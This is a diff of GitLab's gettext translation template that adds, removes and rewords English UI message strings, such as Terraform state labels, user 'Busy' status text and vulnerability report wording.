msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
